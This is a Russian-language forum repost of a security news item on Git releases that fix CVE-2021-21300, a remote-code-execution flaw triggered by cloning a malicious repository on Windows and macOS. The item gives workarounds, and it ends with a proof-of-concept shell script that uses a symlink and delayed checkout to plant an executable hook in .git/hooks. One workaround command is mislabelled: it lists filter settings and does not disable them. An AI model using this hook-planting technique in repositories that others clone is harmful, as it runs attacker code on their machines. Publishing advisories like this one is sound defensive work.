Обновление Git с устранением уязвимости, допускающей удалённое выполнение кода

Kate

Administrator
Команда форума
Опубликованы корректирующие выпуски распределённой системы управления исходными текстами Git 2.30.2, 2.17.6, 2.18.5, 2.19.6, 2.20.5, 2.21.4, 2.22.5, 2.23.4, 2.24.4, 2.25.5, 2.26.3, 2.27.1, 2.28.1 и 2.29.3, в которых устранена уязвимость (CVE-2021-21300), позволяющая организовать удалённое выполнение кода при клонировании репозитория злоумышленника с использованием команды "git clone". Уязвимости подвержены все выпуски Git, начиная с версии 2.15.

Проблема проявляется при использовании отложенных операций checkout, которые применяются в некоторых фильтрах очистки, например, настраиваемых в Git LFS. Эксплуатация уязвимости возможна только в файловых системах, не различающих регистр символов, но поддерживающих символические ссылки, таких как NTFS, HFS+ и APFS (т.е. на платформах Windows и macOS).

В качестве обходного пути защиты можно отключить в git обработку символических ссылок, выполнив "git config --global core.symlinks false", или отключить поддержку процессов-фильтров при помощи команды "git config --show-scope --get-regexp 'filter\..*\.process'". Также рекомендуется избегать клонирования непроверенных репозиториев.

Дополнение: Опубликован прототип эксплоита:



#!/bin/sh

git init delayed-checkout &&
(
cd delayed-checkout &&
echo "A/post-checkout filter=lfs diff=lfs merge=lfs" \
>.gitattributes &&
mkdir A &&
printf '#!/bin/sh\n\necho PWNED >&2\n' >A/post-checkout &&
chmod +x A/post-checkout &&
>A/a &&
>A/b &&
git add -A &&
rm -rf A &&
ln -s .git/hooks a &&
git add a &&
git commit -m initial
) &&
git clone delayed-checkout cloned

Источник статьи: https://www.opennet.ru/opennews/art.shtml?num=54730
 
Сверху